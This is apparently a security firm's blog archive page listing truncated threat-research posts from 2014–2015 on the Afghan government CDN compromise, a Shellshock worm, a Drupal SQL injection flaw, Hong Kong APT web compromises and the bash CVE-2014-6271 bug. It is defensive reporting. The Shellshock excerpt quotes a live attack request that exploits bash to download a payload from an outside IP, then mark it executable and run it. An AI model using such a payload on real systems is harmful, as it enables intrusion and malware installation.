Visiting a wide-ranging number of websites associated with the Government of Afghanistan may yield visitors an unwanted surprise. For the second time this year, malicious code has surfaced on, cdn.afghanistan.af, a host that serves as a content delivery network (CDN) for the Afghan government. Javascript code from this system is found on several different Afghan Offices, Ministries, and Authorities. This strategic web compromise (SWC) against the Afghan CDN server has effectively turned a large portion of the government’s websites into attack surfaces against visitors. Volexity recently detected malicious code being loaded after a user visited the websites for the President of Afghanistan (www.president.gov.af). Second Round of Attacks In a previous attack highlighted earlier in the year by ThreatConnect. One of the two primary Javascript files accessed from the CDN system was modified to load code from two different malicious URLs. In the past attacks, the following file was modified to […]
Exploits
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Afghan Government Compromise: Browser Beware
June 12, 2015
by Volexity
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A New Shellshock Worm on the Loose
April 9, 2015
by Volexity
In a blog post from September last year, we described some of the early Shellshock activity we were seeing in the wild. Since then we have continued to observe periodic scanning, which have by in large not been particularly noteworthy. That remained the case until just a little bit ago. Starting late in the afternoon on April 8, 2015, the frequency and breadth of scanning observed by Volexity increased fairly dramatically. A closer look at the activity reveals that a worm (of sorts) has been set loose on the Internet looking for vulnerable hosts to exploit over HTTP. The inbound requests that have been observed look like this: GET HTTP/1.1 HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”;system(“cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh […]
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Drupal Vulnerability: Mass Scans & Targeted Exploitation
October 16, 2014
by Volexity
Yesterday (October 15, 2014), a critical SQL injection vulnerability in version 7 of the popular open source content management system (CMS) Drupal was disclosed by Stefan Horst and detailed in SA-CORE-2014-005. The description of the vulnerability is rather harrowing: Drupal 7 includes a database abstraction API to ensure that queries executed against the database are sanitized to prevent SQL injection attacks. A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks. This vulnerability can be exploited by anonymous users. If you think this sounds pretty bad, you are spot on. Along with the advisory, a patch was released to fix the security issue. Unfortunately, patches are also often leveraged to identify exactly how to exploit such vulnerabilities. In this case, it was only […]
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Democracy in Hong Kong Under Attack
October 9, 2014
by Volexity
Over the last few months, Volexity has been tracking a particularly remarkable advanced persistent threat (APT) operation involving strategic web compromises of websites in Hong Kong and Japan. In both countries, the compromised websites have been particularly notable for their relevance to current events and the high profile nature of the organizations involved. In particular the Hong Kong compromises appear to come on the heels of the Occupy Central Campaign shifting into high gear. These compromises were discovered following the identification of malicious JavaScript that had been added to legitimate code on the impacted websites. This code meant that visitors were potentially subjected to exploit and malicious Java Applets designed to install malware on their systems. While investigating these cases, Volexity also discovered additional APT attack campaigns involving multiple other pro-democratic websites in Hong Kong. These attempts at exploitation, compromise, and digital surveillance are detailed throughout this post. Compromised Pro-Democratic […]
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CVE-2014-6271 – Remotely Exploitable Vulnerability in Bash
September 24, 2014
by Volexity
With the excitement of public details of a remotely exploitable vulnerability in bash (CVE-2014-6271) coming to light today, we decided it was as good of time as any to finally launch Volexity’s blog. We have a lot of exciting announcements and posts coming, but for now we turn our attention to bash. Today’s announcement and release of related patches may ultimately unleash something that rivals HeartBleed. While that still remains to be seen, the time for action from system administrators is now. Are You Vulnerable? If you haven’t patched today, then the answer is most likely yes. However, double checking if this is the case is rather simple. If you want to find out if your version of bash is vulnerable to exploitation, you can use a script that Redhat posted earlier today and quickly check. $ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” […]